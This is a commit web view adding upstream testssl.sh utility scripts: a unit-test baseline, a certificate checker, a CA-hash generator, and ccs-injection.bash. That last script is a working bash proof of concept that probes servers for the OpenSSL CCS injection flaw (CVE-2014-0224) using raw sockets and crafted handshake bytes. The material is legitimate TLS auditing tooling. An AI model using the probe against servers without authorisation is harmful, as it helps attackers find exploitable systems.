diff options
author | Daniel Baumann <daniel.baumann@progress-linux.org> | 2024-04-15 17:11:11 +0000 |
---|---|---|
committer | Daniel Baumann <daniel.baumann@progress-linux.org> | 2024-04-15 17:11:11 +0000 |
commit | ba28aa09cebfba17fd16de2af6fedf7ecc76eea5 (patch) | |
tree | 44e2ff1493776a06e95c359c53a1cabca5d8a8d4 /utils | |
parent | Initial commit. (diff) | |
download | testssl.sh-upstream.tar.xz testssl.sh-upstream.zip |
Adding upstream version 3.2~rc3+dfsg.upstream/3.2_rc3+dfsgupstream
Signed-off-by: Daniel Baumann <daniel.baumann@progress-linux.org>
Diffstat (limited to 'utils')
-rwxr-xr-x | utils/00_unittest_baseline.sh | 104 | ||||
-rwxr-xr-x | utils/ccs-injection.bash | 356 | ||||
-rwxr-xr-x | utils/checkcert.sh | 343 | ||||
-rwxr-xr-x | utils/create_ca_hashes.sh | 47 | ||||
-rwxr-xr-x | utils/curves.bash | 94 | ||||
-rwxr-xr-x | utils/docker-debian10.tls13only.start.sh | 33 | ||||
-rwxr-xr-x | utils/docker-nginx.tls13-earlydata.start.sh | 56 | ||||
-rwxr-xr-x | utils/generate_static_cipher_lists.sh | 372 | ||||
-rwxr-xr-x | utils/gmap2testssl.sh | 168 | ||||
-rwxr-xr-x | utils/heartbleed.bash | 307 | ||||
-rwxr-xr-x | utils/hexstream2cipher.sh | 38 | ||||
-rwxr-xr-x | utils/hexstream2curves.sh | 38 | ||||
-rwxr-xr-x | utils/make-openssl.sh | 160 | ||||
-rwxr-xr-x | utils/make-openssl111.sh | 98 | ||||
-rwxr-xr-x | utils/parse_client_ciphers.pl | 45 | ||||
-rwxr-xr-x | utils/prototype.ssl2proto-check.bash | 232 | ||||
-rwxr-xr-x | utils/prototype.tls-protocol-checker.bash | 372 | ||||
-rwxr-xr-x | utils/resume.sh | 22 | ||||
-rwxr-xr-x | utils/ticketbleed.bash | 352 | ||||
-rwxr-xr-x | utils/update_client_sim_data.pl | 506 |
20 files changed, 3743 insertions, 0 deletions
diff --git a/utils/00_unittest_baseline.sh b/utils/00_unittest_baseline.sh new file mode 100755 index 0000000..f5a53a5 --- /dev/null +++ b/utils/00_unittest_baseline.sh @@ -0,0 +1,104 @@ +#!/usr/bin/env bash +# +# PoC for unit tests in bash. Basic test with s_server, works under Linux only atm + +OPENSSL="bin/openssl.$(uname).$(uname -m)" +$OPENSSL version -a || exit 1 + +FILE=tmp.json + +remove_quotes() { + sed -i 's/"//g' "$FILE" +} + +# arg1: id_value +# arg2: string to check against severity_value (optional) +# arg2,3: string to check against finding_value +# return: 0 whether it contains arg2 or arg3 (0: yes, 1: matches not) +check_result() { + # id : sslv3, + # ip : localhost/127.0.0.1, + # port : 4433, + # severity : HIGH, + # finding : SSLv3 is offered + + local json_result="" + local severity_value="" + local finding_value="" + + remove_quotes + json_result="$(awk '/id.*'"${1}"'/,/finding.*$/' "$FILE")" + [[ -z $json_result ]] && exit 1 + # is4lines? + finding_value="$(awk -F':' '/finding/ { print $2" "$3" "$4 }' <<< "$json_result")" + if [[ $# -eq 2 ]]; then + [[ $finding_value =~ "$2" ]] && return 0 || return 1 + fi + severity_value="$(awk -F':' '/severity/ { print $2 }' <<< "$json_result")" + if [[ $finding_value =~ "$3" ]] && [[ $severity_value =~ "$2" ]] ; then + return 0 + else + return 1 + fi +} + +### generate self signed certificate +$OPENSSL req -new -x509 -out /tmp/server.crt -nodes -keyout /tmp/server.pem -subj '/CN=localhost' &>/dev/null || exit 2 +echo + + +### 1) test protocol SSlv2: +$OPENSSL s_server -www -ssl2 -key /tmp/server.pem -cert /tmp/server.crt &>/dev/null & +pid=$! +rm "$FILE" 2>/dev/null +echo "Running testssl.sh SSLv2 protocol check against localhost for SSLv2: " +./testssl.sh -p -q --warnings=off --jsonfile="$FILE" localhost:4433 +check_result SSLv2 CRITICAL "vulnerable with 9 ciphers" +[[ $? -eq 0 ]] && echo "SSLv2: PASSED" || echo "FAILED" +echo +kill -9 $pid +wait $pid 2>/dev/null + +### 2) test NPN + ALPN +$OPENSSL s_server -cipher 'ALL:COMPLEMENTOFALL' -alpn "h2" -nextprotoneg "spdy/3, http/1.1" -www -key /tmp/server.pem -cert /tmp/server.crt &>/dev/null & +pid=$! +rm "$FILE" +echo "Running testssl.sh HTTP/2 protocol checks against localhost: " +./testssl.sh -q --jsonfile="$FILE" --protocols localhost:4433 +if check_result NPN "spdy/3, http/1.1"; then + echo "SPDY/NPN: PASSED" +else + echo "SPDY/NPN: FAILED" +fi + +if check_result ALPN "h2"; then + echo "HTTP2/ALPN: PASSED" +else + echo "HTTP2/ALPN: FAILED" +fi +kill -9 $pid +wait $pid 2>/dev/null +rm "$FILE" + +### 3) test almost all other stuff +$OPENSSL s_server -cipher 'ALL:COMPLEMENTOFALL' -www -key /tmp/server.pem -cert /tmp/server.crt &>/dev/null & +pid=$! +rm "$FILE" +echo "Running baseline check with testssl.sh against localhost" +./testssl.sh -q --jsonfile="$FILE" localhost:4433 +#check_result sslv2 CRITICAL "is offered" +kill -9 $pid +wait $pid 2>/dev/null + +rm "$FILE" + + +### test server defaults +# ./testssl.sh -q --jsonfile=$FILE --server-defaults localhost:4433 +# -serverpref +# -no_ticket +# -no_resumption_on_reneg +# -status + +# vim:ts=5:sw=5:expandtab + diff --git a/utils/ccs-injection.bash b/utils/ccs-injection.bash new file mode 100755 index 0000000..3cd7c26 --- /dev/null +++ b/utils/ccs-injection.bash @@ -0,0 +1,356 @@ +#!/usr/bin/env bash + +# POC bash socket implementation of CCS Injection vulnerability in OpenSSL (CVE-2014-0224), +# see https://www.openssl.org/news/secadv_20140605.txt +# Author: Dirk Wetter, GPLv2 see https://testssl.sh/LICENSE.txt +# +# sockets inspired by http://blog.chris007.de/?p=238 +# mainly adapted from the C code from https://gist.github.com/rcvalle/71f4b027d61a78c42607 +# thx Ramon de C Valle +# +# handshakes from RFCs. Good source too: https://github.com/ioerror/sslscan/blob/master/sslscan.c +# +###### DON'T DO EVIL! USAGE AT YOUR OWN RISK. DON'T VIOLATE LAWS! ####### + +readonly PS4='${LINENO}: ${FUNCNAME[0]:+${FUNCNAME[0]}(): }' +trap "cleanup" QUIT EXIT + +[ -z "$1" ] && exit 1 + +NODE="$1" +PORT="443" +JABBERNODE=${JABBERNODE} +SLEEP=2 +MAXSLEEP=10 +OCKREPLY="" +COL_WIDTH=32 +DEBUG=${DEBUG:-0} +HELLO_READBYTES=${HELLO_READBYTES:-65535} + +TLSV=${2:-01} +# TLS 1.0=x01 1.1=0x02, 1.2=0x3 +# the PoC contains per default only check for TLS1.0 as the is the least common denominator + +ccs_message="\x14\x03\x$TLSV\x00\x01\x01" + +client_hello=" +# TLS header ( 5 bytes) +,x16, # Content type (x16 for handshake) +x03, x$TLSV, # TLS Version +x00, x93, # Length total +# Handshake header +x01, # Type (x01 for ClientHello) +x00, x00, x8f, # Length client hello +x03, x$TLSV, # TLS Version +x53, x9c, xb2, xcb, # 4 bytes Unix time see www.moserware.com/2009/06/first-few-milliseconds-of-https.html +x4b, x42, xf9, x2d, x0b, xe5, x9c, x21, # 28 bytes random bytes +xf5, xa3, x89, xca, x7a, xd9, xb4, xab, +x3f, xd3, x22, x21, x5e, xc4, x65, x0d, +x1e, xce, xed, xc2, +x00, # Session ID length +x00, x68, # Cipher suites length + xc0, x13, # ciphers come now, here: ECDHE-RSA-AES128-SHA = TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA + xc0, x12, + xc0, x11, + xc0, x10, + xc0, x0f, + xc0, x0e, + xc0, x0d, + xc0, x0c, + xc0, x0b, + xc0, x0a, + xc0, x09, + xc0, x08, + xc0, x07, + xc0, x06, + xc0, x05, + xc0, x04, + xc0, x03, + xc0, x02, + xc0, x01, + x00, x39, + x00, x38, + x00, x37, + x00, x36, + x00, x35, + x00, x34, + x00, x33, + x00, x32, + x00, x31, + x00, x30, + x00, x2f, + x00, x16, + x00, x15, + x00, x14, + x00, x13, + x00, x12, + x00, x11, + x00, x10, + x00, x0f, + x00, x0e, + x00, x0d, + x00, x0c, + x00, x0b, + x00, x0a, + x00, x09, + x00, x08, + x00, x07, + x00, x06, + x00, x05, + x00, x04, + x00, x03, + x00, x02, + x00, x01, # TLS_RSA_WITH_NULL_MD5 + x01, x00" # compression methods length (1) + Compression method(1) + +#msg=`echo "$client_hello" | sed -e 's/# .*$//g' -e 's/,/\\\/g' | sed -e 's/ //g' | tr -d '\n'` +msg=$(echo "$client_hello" | sed -e 's/# .*$//g' -e 's/ //g' | sed -E 's/^[[:space:]]+//; s/[[:space:]]+$//; /^$/d' | sed 's/,/\\/g' | tr -d '\n') + + +parse_hn_port() { + # strip "https", supposed it was supplied additionally + echo $NODE | grep -q 'https://' && NODE=`echo $NODE | sed -e 's/https\:\/\///' ` + + # strip trailing urlpath + NODE=`echo $NODE | sed -e 's/\/.*$//'` + + # determine port, supposed it was supplied additionally + echo $NODE | grep -q ':' && PORT=`echo $NODE | sed 's/^.*\://'` && NODE=`echo $NODE | sed 's/\:.*$//'` + echo -e "\n===> connecting to $NODE:$PORT\n" +} + +debugme() { + [[ $DEBUG -ge 2 ]] && "$@" +} + + +wait_kill(){ + pid=$1 + maxsleep=$2 + while true; do + if ! ps $pid >/dev/null ; then + return 0 # didn't reach maxsleep yet + fi + sleep 1 + maxsleep=$((maxsleep - 1)) + test $maxsleep -eq 0 && break + done # needs to be killed: + kill $pid >&2 2>/dev/null + wait $pid 2>/dev/null + return 3 # killed +} + + +starttls_just_read(){ + echo "=== just read banner ===" + cat <&5 & + wait_kill $! $SLEEP +} + + +socksend() { + data=`echo $1` + echo "\"$data\"" + echo -en "$data" >&5 & + sleep $SLEEP +} + +sockread() { + [[ "x$2" == "x" ]] && maxsleep=$MAXSLEEP || maxsleep=$2 + ret=0 + + ddreply=$(mktemp /tmp/ddreply.XXXXXX) || return 7 + dd bs=$1 of=$ddreply count=1 <&5 2>/dev/null & + wait_kill $! $maxsleep + ret=$? + SOCKREPLY=$(cat $ddreply) + rm $ddreply + + return $ret +} + +# arg1: string to send +# arg2: possible success strings a egrep pattern, needed! +starttls_line0() { + reply=$(mktemp /tmp/reply.XXXXXX) || return 7 + + debugme echo -e "\n=== sending \"$1\" ..." + echo -e "$1" >&5 + dd bs=1024 of=$reply count=32 <&5 2>/dev/null & + wait_kill $! $SLEEP + debugme echo "... received result: " + cat $reply + if [ -n "$2" ]; then + if grep -Eq "$2" $reply; then + debugme echo "---> reply matched \"$2\"" + [ $DEBUG -eq 0 ] && rm $reply + return 0 + else + debugme echo "---> reply didn't match \"$2\", see $reply" + fixme "STARTTLS handshake problem" + exit 1 + fi + fi +} + + +starttls_line1() { + echo "$1" >&5 + while true; do + read line <&5 + echo $line + break + done +} + +fixme(){ + tput bold; tput setaf 5; echo -e "\n$1\n"; tput sgr0 +} + + +ok_ids() { + echo + tput bold; tput setaf 2; echo "ok -- something reset our ccs packets"; tput sgr0 + echo + exit 0 +} + +fd_socket(){ + local jabber="" + + if ! exec 5<> /dev/tcp/$NODE/$PORT; then + echo "`basename $0`: unable to connect to $NODE:$PORT" + exit 2 + fi + + case "$1" in # port + 21) # https://tools.ietf.org/html/rfc4217 + starttls_just_read + starttls_line0 "FEAT" "211" + #starttls_line0 HELP "214" + starttls_line0 "AUTH TLS" "successful|234" + ;; + 25) # SMTP, see https://tools.ietf.org/html/rfc4217 + starttls_just_read + starttls_line0 "EHLO testssl.sh" "220|250" + starttls_line0 "STARTTLS" "220" + ;; + 110) # POP, see https://tools.ietf.org/html/rfc2595 + starttls_just_read + starttls_line0 "STLS" "OK" + ;; + 119|433) # NNTP, see https://tools.ietf.org/html/rfc4642 + starttls_just_read + starttls_line0 "CAPABILITIES" "101|200" + starttls_line0 "STARTTLS" "382" + ;; + 143) # IMAP, https://tools.ietf.org/html/rfc2595 + starttls_just_read + starttls_line0 "a001 CAPABILITY" "OK" + starttls_line0 "a002 STARTTLS" "OK" + ;; + 389) # LDAP, https://tools.ietf.org/html/rfc2830, https://tools.ietf.org/html/rfc4511 + fixme "LDAP: FIXME not yet implemented" + exit 1 + ;; + 674) # ACAP = Application Configuration Access Protocol, see https://tools.ietf.org/html/rfc2595 + fixme "ACAP: FIXME not yet implemented" + exit 1 + ;; + 5222) # XMPP, see https://tools.ietf.org/html/rfc6120 + starttls_just_read + # following would be without hostname, jabber.org doesn't need it, others do! + #starttls_line0 "<stream:stream xmlns:stream='http://etherx.jabber.org/streams' xmlns='jabber:client' version='1.0'>\r\n" + [ -z $JABBERNODE ] && JABBERNODE="$NODE" + # as ioerror says: $NODE is not always the correct one, some jabber implementations need a special hostname! + # supply $JABBERNODE in ENV and you're set, like: DEBUG=2 JABBERNODE=google.com ./heartbleed.bash talk.google.com:5222 + jabber=$(cat <<EOF +<?xml version='1.0' ?> +<stream:stream +xmlns:stream='http://etherx.jabber.org/streams' +xmlns='jabber:client' +to='$JABBERNODE' +xml:lang='en' +version='1.0'> +EOF +) + starttls_line0 "$jabber" + starttls_line0 "<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>" "proceed" + # BTW: https://xmpp.net ! + ;; + 443|995|993|465|*) # we don't need a special pre-command here + ;; + esac + echo +} + + +close_socket(){ + exec 5<&- + exec 5>&- + return 0 +} + +cleanup() { + close_socket +} + + +#### main + +parse_hn_port +fd_socket $PORT + + +echo "##### sending standard client hello with TLS version 03,$TLSV:" +socksend "$msg" $TLSV +sleep 1 + +sockread $HELLO_READBYTES +echo "##### reading server hello ($HELLO_READBYTES bytes):" +if test $DEBUG ; then + echo "$SOCKREPLY" | xxd -c$COL_WIDTH | head -10 + echo "[...]" + echo +fi +if [ 1 -ge $(echo "$SOCKREPLY" | xxd | wc -l) ]; then + tput bold; tput setaf 5; echo "TLS handshake failed"; tput sgr0 + exit 1 +fi + + +echo "##### sending ccs injection payload with TLS version 03,$TLSV (1)" +socksend "$ccs_message" $TLSV || ok_ids +sleep 1 +echo "##### sending ccs injection payload with TLS version 03,$TLSV (2)" +socksend "$ccs_message" $TLSV || ok_ids +sleep 1 + +sockread 65534 +echo +echo "###### reply: " +echo "=============================" +echo "$SOCKREPLY" | xxd -c$COL_WIDTH | head -20 +echo "=============================" +echo + +reply_sanitized=$(echo -e "$SOCKREPLY" | xxd -p | tr -cd '[:print:]' | sed 's/^..........//') +test $DEBUG || echo $reply_sanitized + +lines=$(echo -e "$SOCKREPLY" | xxd -c32 | wc -l) +test $DEBUG || echo $lines + +if [ "$lines" -gt 1 ] || [ "$reply_sanitized" == "0a" ] ;then + tput bold; tput setaf 2; echo "ok"; tput sgr0 + ret=0 +else + tput bold; tput setaf 1; echo "VULNERABLE"; tput sgr0 + ret=1 +fi + + +echo +exit $ret + +# vim:ts=5:sw=5:expandtab +# $Id: ccs-injection.bash,v 1.9 2015/07/06 20:01:49 dirkw Exp $ diff --git a/utils/checkcert.sh b/utils/checkcert.sh new file mode 100755 index 0000000..24a27f5 --- /dev/null +++ b/utils/checkcert.sh @@ -0,0 +1,343 @@ +#!/usr/bin/env bash + + +# on the command line: +# STARTTLS="-starttls $protocol"; export STARTTLS +# protocol=smtp,impa,pop,xmpp,jabber + +##### THIS WILL BE INTEGRATED INTO testssl.sh +##### it has no production qualiity yet and I'll likely disregard +##### any issues/patches until this will be done +# +# license is GPLv2, see file LICENSE + + +DAYS2WARN=60 + +ECHO="/bin/echo -e" +COLOR=0 + +CA_BUNDLE="/etc/ssl/ca-bundle.pem" +CA_BUNDLE_CMD="-CApath /etc/ssl/certs/" +#CA_BUNDLE_CMD="-CAfile $CA_BUNDLE" +#`openssl version -d` /certs/ + +off() { + if [ $COLOR = 0 ]; then $ECHO "\033[m\c"; fi +} + +bold() { + $ECHO "\033[1m$1"; off +} + +underscore() { + $ECHO "\033[4m$1\c"; off +} + + +blue() { + if [ $COLOR = 0 ]; then $ECHO "\033[1;34m$1 "; else $ECHO "**$1** "; fi + off +} + +brown() { + [ $COLOR = 0 ] && $ECHO "\033[0;33m$1 " || out "**$1** " + off +} + + +green() { + if [ $COLOR = 0 ]; then $ECHO "\033[1;32m$1 "; else $ECHO "**$1** "; fi + off +} +lgreen() { + if [ $COLOR = 0 ]; then $ECHO "\033[0;32m$1 "; else $ECHO "**$1** "; fi + off +} + +red() { + if [ $COLOR = 0 ]; then $ECHO "\033[1;31m$1 "; else $ECHO "**$1** "; fi + off +} +lred() { + if [ $COLOR = 0 ]; then $ECHO "\033[0;31m$1 "; else $ECHO "**$1** "; fi + off +} + + +datebanner() { + tojour=`date +%F`" "`date +%R` + echo + bold "$1 now ($tojour) ---> $NODEIP:$PORT ($NODE) <---" +} + + +dns() { + ip4=`host -t a $1 | grep -v alias | sed 's/^.*address //'` + command -v getent 2>&1 >/dev/null && getent ahostsv4 $1 2>&1 >/dev/null && ip4=`getent ahostsv4 $1 | awk '{ print $1}' | uniq` + NODEIP=`echo "$ip4" | head -1` + rDNS=`host -t PTR $NODEIP | sed -e 's/^.*pointer //' -e 's/\.$//'` + echo $rDNS | grep -q NXDOMAIN && rDNS="" +} + + +display_dns() { + $ECHO + [ -n "$rDNS" ] && $ECHO "rDNS: $rDNS" + if [ `echo "$ip4" | wc -l` -gt 1 ]; then + $ECHO "$1 other IPv4 addresses:\c" + for i in $ip4; do + [ "$i" == "$NODEIP" ] && continue + $ECHO " $i\c" + done + fi + echo +} + + +############## main + +NODE="$1" +[ -z "$NODE" ] && echo "arg1 (=node) missing" && exit 1 +PORT=${2:-443} + +# strip "https" and trailing urlpath supposed it was supplied additionally +echo $NODE | grep -q 'https://' && NODE=`echo $NODE | sed -e 's/https\:\/\///' -e 's/\/.*$//'` + +# determine port, supposed it was supplied additionally +echo $NODE | grep -q ':' && PORT=`echo $NODE | sed 's/^.*\://'` && NODE=`echo $NODE | sed 's/\:.*$//'` + +dns $NODE +datebanner "Testing" $NODE +display_dns $NODE + +TMPDIR=`mktemp -d /tmp/checkcert.$NODE.$PORT.XXXXXX` || exit 6 +HOSTCERT_SNI="$TMPDIR/hostcert_sni.txt" +HOSTCERT="$TMPDIR/hostcert.txt" + +FD2_HOST_SNI="$TMPDIR/fd2_host_sni.txt" +FD2_HOST="$TMPDIR/fd2_host.txt" + +# test whether I can ssl to it: +#echo | openssl s_client -connect $NODE:$PORT 2>&1 >/dev/null || exit 7 + +SNI="-servername $NODE" +# dl pub key +openssl s_client $STARTTLS -connect $NODEIP:$PORT $SNI 2>$FD2_HOST_SNI </dev/null | awk '/-----BEGIN/,/-----END/ { print $0 }' >$HOSTCERT_SNI +openssl s_client $STARTTLS -connect $NODEIP:$PORT 2>$FD2_HOST </dev/null | awk '/-----BEGIN/,/-----END/ { print $0 }' >$HOSTCERT + +#bold "\nTrust\n" +#openssl verify -verbose $HOSTCERT +#http://www.madboa.com/geek/openssl/#verify-standardA +#http://www.madboa.com/geek/openssl/#verify-system +#echo $? + +bold "\nPubkey" +openssl x509 -noout -in $HOSTCERT_SNI -pubkey + +bold "\nFingerprint/Serial" +openssl x509 -noout -in $HOSTCERT_SNI -fingerprint +openssl x509 -noout -in $HOSTCERT_SNI -serial + +bold "\nSignature Algorithm" +algo=`openssl x509 -noout -in $HOSTCERT_SNI -text | grep "Signature Algorithm" | sed 's/^.*Signature Algorithm: //' | sort -u ` +case $algo in + sha1WithRSAEncryption) brown "SHA1withRSA" ;; + sha256WithRSAEncryption) lgreen "SHA256withRSA" ;; + sha512WithRSAEncryption) lgreen "SHA512withRSA" ;; + md5*) red "MD5" ;; + *) echo $algo ;; +#https://blog.hboeck.de/archives/754-Playing-with-the-EFF-SSL-Observatory.html +esac + +# Secs of a day: +SECS2WARN=`echo "24 * 60 * 60 * $DAYS2WARN" | bc` + +bold "\nExpiration" +openssl x509 -noout -in $HOSTCERT_SNI -startdate -enddate + +expire=`openssl x509 -in $HOSTCERT_SNI -checkend 0` +if ! echo $expire | grep -qw not; then + red "Certificate has expired!!" +else + expire=`openssl x509 -in $HOSTCERT_SNI -checkend $SECS2WARN` + echo "$expire" | grep -qw not && green "Certificate is ok for the next $DAYS2WARN days" || \ + lred "Certificate will expire within the next $DAYS2WARN days!" +fi + + +####### +bold "\nSubject / CN issues" + +SAN="" +SAN=`openssl x509 -noout -in $HOSTCERT -text | grep -A3 "Subject Alternative Name" | grep "DNS:" | sed -e 's/DNS://g' -e 's/ //g' -e 's/,/\n/g'` +SAN_SNI=`openssl x509 -noout -in $HOSTCERT_SNI -text | grep -A3 "Subject Alternative Name" | grep "DNS:" | sed -e 's/DNS://g' -e 's/ //g' -e 's/,/\n/g'` + +subject_sni=`openssl x509 -noout -in $HOSTCERT_SNI -subject | sed 's/subject= //'` +subject_str=`openssl x509 -noout -in $HOSTCERT -subject | sed 's/subject= //'` +CN_SNI=`echo $subject_sni | sed -e 's/^.*CN=//' -e 's/\/emailAdd.*//'` +CN=`echo $subject_str | sed -e 's/^.*CN=//' -e 's/\/emailAdd.*//'` +$ECHO -n "Common Name: "; underscore "$CN_SNI" + +test "$DEBUG" && $ECHO " ($subject_sni" # complete certificate subject +test "$DEBUG" && $ECHO " ($subject_str)" # complete certificate subject +#openssl x509 -noout -in $HOSTCERT_SNI -serial -startdate -enddate -dates -subject -issuer -email -ocsp_uri -ocspid -purpose >$TMPDIR/textout_sni.txt +openssl x509 -noout -in $HOSTCERT_SNI -text >$TMPDIR/textout_level0.cert_sni.txt + +MATCHOK=0 +REASON_MATCH="" + +if [ "$CN_SNI" != "$CN" ]; then + $ECHO "\nSNI mandatory, otherwise \c"; underscore "$CN\c"; $ECHO " matches\c" + #FIXME: e.g. google.de hast google.com as $CN, and google.com includes SAN *.google.de +else + $ECHO " no SNI needed \c" +# haken? siehe lists.appsec.eu vs pm.appsec.eu --> beide haben wildcard +fi + +if [ "$NODE" == "$CN" ]; then +# $ECHO " matches hostname directly, " + REASON_MATCH="direct match," + MATCHOK=1 +elif [ "$CN_SNI" == "$NODE" ]; then ###????? +# $ECHO " matches hostname via SNI, " + REASON_MATCH="SNI," + MATCHOK=1 +fi + +if [ x"$SAN_SNI" != x"$CN_SNI" ]; then + $ECHO "\nSAN exist:\c" + for subjectAltName in `$ECHO $SAN_SNI`; do + if [ "$NODE" == "$subjectAltName" ] ; then + underscore "$subjectAltName, \c" + REASON_MATCH="$REASON_MATCH SAN," + MATCHOK=1 + else + $ECHO " $subjectAltName, \c" + fi + done +fi + +if echo "$CN_SNI" | grep -q '^\*'; then + # *.domain.tld = *.domain.tld + [ "*.$NODE" == "$CN_SNI" ] && REASON_MATCH="$REASON_MATCH Wildcard (all subdomains)" && MATCHOK=1 +# expr: können mehrere Gründe sein! + + # prefix.domain.tld = *.domain.tld + domaintld=`echo $NODE | sed 's/^[0-9a-zA-Z]*\.//1'` + [ "*.$domaintld" == "$CN_SNI" ] && REASON_MATCH="$REASON_MATCH Wildcard (from TLD)" && MATCHOK=1 +fi + +if [ $MATCHOK -eq 1 ] ; then + green "\nMatch OK\c" + $ECHO ": $REASON_MATCH" +else + red "\nMatch failed" +fi + + +bold "\n\nCertificate chain\c" +#openssl x509 -text -in $HOSTCERT | awk '/Certificate chain/,/--/ { print $0 }' | sed -e 's/---//' -e 's/Certificate chain//' +openssl s_client $STARTTLS -connect $NODEIP:$PORT $SNI 2>/dev/null </dev/null | awk '/Certificate chain/,/--/ { print $0 }' | sed -e 's/---//' -e 's/Certificate chain//' | tee $TMPDIR/all-chain.txt + +# so alle einsacken: +#openssl s_client -showcerts -connect $NODEIP:$PORT $SNI 2>/dev/null </dev/null | awk '/-----BEGIN/,/-----END/ { print $0 }' +savedir=`pwd`; cd $TMPDIR +openssl s_client -showcerts $STARTTLS -connect $NODEIP:$PORT $SNI 2>/dev/null </dev/null | \ + awk -v c=-1 '/-----BEGIN CERTIFICATE-----/{inc=1;c++} inc {print > ("level" c ".crt")} /---END CERTIFICATE-----/{inc=0}' +nrsaved=`ls level?.crt | wc -w` +$ECHO "retrieved $nrsaved pub certs" +# die CA Kette hochgehen +for i in level?.crt; do openssl x509 -noout -serial -subject -issuer -in "$i"; echo; done > all.serial-subject-issuer.txt +NR_RETRIEVED=`ls -1 level* | wc -l` +cd $savedir + +bold "\nChecking issuer chain against local certs" +issuerok=`echo | openssl s_client $CA_BUNDLE_CMD -connect $NODEIP:$PORT 2>/dev/null | grep "Verify return code" | sed 's/^.*Verify return code: //'` +if echo $issuerok | grep -qw ok ; then + green "$issuerok" +else + red "$issuerok" +fi + +bold "\nE-mail" +email=`openssl x509 -noout -in $HOSTCERT_SNI -email` +[ x"$email" == "x" ] && underscore "<none>" || echo "$email" +echo + + + +bold "\nOCSP" +echo -en "URL: " +ocsp_uri=`openssl x509 -noout -in $HOSTCERT_SNI -ocsp_uri` +[ x"$ocsp_uri" == "x" ] && lred "<none>" || echo "$ocsp_uri" + + +# ARG1: level2check +# ARG2: issuer of level2check cert +check_revocation() { + #FIXME: check ocsp/ocsp stapling with CA + # * CRLs/OCSP abfragen (http://backreference.org/2010/05/09/ocsp-verification-with-openssl/) + +#FIXME: + #ocsp_uri=`openssl x509 -noout -in level$1.crt -ocsp_uri` + + [ -z "$ocsp_uri" ] && lred ".. doesn't have a OCSP URL" && return 1 + addissuer="" + if [ -s $TMPDIR/level$2.crt ]; then + addissuer="-issuer $TMPDIR/level$2.crt" + NO_ISSUER_PROVIDED=0 + else + addissuer="-issuer $CA_BUNDLE" + NO_ISSUER_PROVIDED=1 + fi + + ocsp_hostheader=`echo $ocsp_uri | sed -e 's/http\:\/\///' -e 's/\/.*$//'` #sometimes needed + openssl ocsp $CA_BUNDLE_CMD $addissuer -cert $TMPDIR/level$1.crt -text -url $ocsp_uri -header HOST $ocsp_hostheader &>$TMPDIR/ocsp-longresponse$1.txt + openssl ocsp $CA_BUNDLE_CMD $addissuer -cert $TMPDIR/level$1.crt -url $ocsp_uri -header HOST $ocsp_hostheader &>$TMPDIR/ocsp-response$1.txt + +#tmpdir_escaped=`echo $TMPDIR | sed 's/\//\\\//g'` +#cat $TMPDIR/ocsp-response.txt | grep -Ev "^WARNING: no nonce|^Response Verify Failure|OCSP_basic_verify" | sed 's/'"${tmpdir_escaped}"'//' + cat $TMPDIR/ocsp-response$1.txt | grep -Ev "^WARNING: no nonce|^Response Verify Failure|OCSP_basic_verify" | sed 's/^.*level/level/' + if grep -q "level$1.crt.*good" $TMPDIR/ocsp-response$1.txt ; then + green "not revoked (OK)\c" + else + lred "pls check manually (hint: $TMPDIR/ocsp-longresponse$1.txt). \c" + [ $NO_ISSUER_PROVIDED -eq 0 ] && lred " Also the chain might be incomplete\c" + fi +} + +bold "\nChecking whether server certs have been revoked" +#set -x +#for level in `seq 1 $NR_RETRIEVED`; do +for level in 1; do + minus1=`expr $level - 1` + $ECHO "##### level$minus1 #####" + check_revocation $minus1 $level + $ECHO +done +#set +x + + +bold "\nPurpose" +openssl x509 -noout -in $HOSTCERT_SNI -purpose | grep -v 'Certificate purpose' | grep -i yes + +datebanner "Done" $NODE +echo + +printf "logdir is $TMPDIR . Save it? " +read a +case $a in + y|Y|yes|YES) cp -a $TMPDIR $PWD && echo "saved $TMPDIR to $PWD" ;; + *) $ECHO "left $TMPDIR" +esac + + +#rm -rf $TMPDIR + +exit 0 + +# vim:ts=5:sw=5:expandtab +# $Id: checkcert.sh,v 1.20 2014/09/16 22:38:03 dirkw Exp $ + + diff --git a/utils/create_ca_hashes.sh b/utils/create_ca_hashes.sh new file mode 100755 index 0000000..22737f5 --- /dev/null +++ b/utils/create_ca_hashes.sh @@ -0,0 +1,47 @@ +#!/usr/bin/env bash +# +# vim:ts=5:sw=5:expandtab +# we have a spaces softtab, that ensures readability with other editors too + +# This file generates the file etc/ca_hashes.txt from the (root)certificate +# Bundles in etc (etc/*.pem) + +TEMPDIR="/tmp" + +# Check if we are in the right directory +if [[ ! -e etc ]]; then + echo "Please run this script from the base directory of the testssl.sh project" + exit 99 +fi + +echo "Extracting private key hashes from CA bundles" +echo -n > "$TEMPDIR/cahashes" +for bundle_fname in etc/*.pem; do + if [[ ! -r $bundle_fname ]]; then + echo "\"$bundle_fname\" cannot be found / not readable" + exit 99 + fi + bundle_name=$(echo -n $bundle_fname|sed s/^etc\\///|sed 's/\.pem$//') + echo "CA Bundle: $bundle_name" + # Split up the certificate bundle + awk -v n=-1 "BEGIN {start=1} + /-----BEGIN CERTIFICATE-----/{ if (start) {inc=1; n++} } + inc { print >> (\"$TEMPDIR/$bundle_name.\" n \".$$.crt\") ; close (\"$TEMPDIR/$bundle_name.\" n \".$$.crt\") } + /---END CERTIFICATE-----/{ inc=0 }" $bundle_fname + for cert_fname in $TEMPDIR/$bundle_name.*.$$.crt; do + echo -n "." + hpkp_key_ca="$( ( openssl x509 -in "$cert_fname" -pubkey -noout | grep -v PUBLIC | openssl base64 -d | + openssl dgst -sha256 -binary | openssl enc -base64 ) 2>/dev/null )" + hpkp_name=$( openssl x509 -in "$cert_fname" -subject -noout 2>/dev/null | sed "s/^subject= //") + if [[ $(echo $hpkp_name|grep 'CN='|wc -l) -eq 1 ]]; then + hpkp_name=$(echo -n $hpkp_name|sed 's/^.*CN=//'|sed 's/\/.*$//') + fi + echo "$hpkp_key_ca $hpkp_name" >> "$TEMPDIR/cahashes" + done + echo +done + +# Make a backup first +cp etc/ca_hashes.txt etc/ca_hashes.txt.bak + +sort -u "$TEMPDIR/cahashes" > etc/ca_hashes.txt diff --git a/utils/curves.bash b/utils/curves.bash new file mode 100755 index 0000000..2a00f63 --- /dev/null +++ b/utils/curves.bash @@ -0,0 +1,94 @@ +#!/usr/bin/env bash +# +# PoC for checking the ellipticale curves negotiated +# x448 and x25519 are missing, others are not supported +# License see testssl.sh + +readonly RUN_DIR=$(dirname "$0") + +test_openssl_suffix() { + local 